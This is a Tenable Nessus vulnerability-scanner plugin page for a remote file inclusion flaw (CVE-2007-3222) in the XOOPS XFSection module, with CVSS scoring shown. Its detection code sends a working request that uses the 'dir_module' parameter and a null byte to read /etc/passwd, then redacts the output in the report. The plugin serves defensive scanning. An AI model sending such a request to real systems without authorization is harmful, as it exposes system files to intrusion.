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nessusThis script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.XOOPS_XFSECTION_DIR_MODULE_FILE_INCLUDE.NASL
HistoryJun 14, 2007 - 12:00 a.m.

XOOPS XFSection Module modify.php dir_module Parameter Remote File Inclusion

2007-06-1400:00:00
This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
30

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.102 Low

EPSS

Percentile

95.0%

The remote host is running XFSection, a third-party module for XOOPS.

The version of this module installed on the remote host fails to sanitize input to the ‘dir_module’ parameter of the ‘modify.php’ script before using it to include PHP code. Regardless of PHP’s ‘register_globals’ setting, an unauthenticated attacker can exploit this issue to view arbitrary files on the remote host or possibly to execute arbitrary PHP code, perhaps from third-party hosts.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(25493);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/06/01");

  script_cve_id("CVE-2007-3222");
  script_bugtraq_id(24465);
  script_xref(name:"EDB-ID", value:"4068");

  script_name(english:"XOOPS XFSection Module modify.php dir_module Parameter Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running XFSection, a third-party module for XOOPS. 

The version of this module installed on the remote host fails to
sanitize input to the 'dir_module' parameter of the 'modify.php'
script before using it to include PHP code.  Regardless of PHP's
'register_globals' setting, an unauthenticated attacker can exploit
this issue to view arbitrary files on the remote host or possibly to
execute arbitrary PHP code, perhaps from third-party hosts.");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/06/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/06/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("xoops_detect.nasl");
  script_require_keys("www/xoops");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/xoops"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  #
  # nb: the exploit requires magic_quotes_gpc to be disabled; if it's
  #     not, allow_url_fopen might still allow an attack to work but
  #     we can't test for it without accessing a remote site.
  file = "/etc/passwd";
  u = string(
      dir, "/modules/xfsection/modify.php?",
      "dir_module=", file, "%00"
    );
  r = http_send_recv3(port:port, method: "GET", item: u);
  if (isnull(r)) exit(0);

  # There's a problem if there's an entry for root.
  if (egrep(pattern:"root:.*:0:[01]:", string:r[2]))
  {
    contents = r[2];
    contents = contents - strstr(contents, "<html>");

    if (contents)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "Here are the contents of the file '/etc/passwd' that Nessus was\n",
        "able to read from the remote host :\n",
        "\n",
        contents
      );
    }
    else report = NULL;

    security_hole(port:port, extra: report);
    exit(0);
  }
}

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.102 Low

EPSS

Percentile

95.0%

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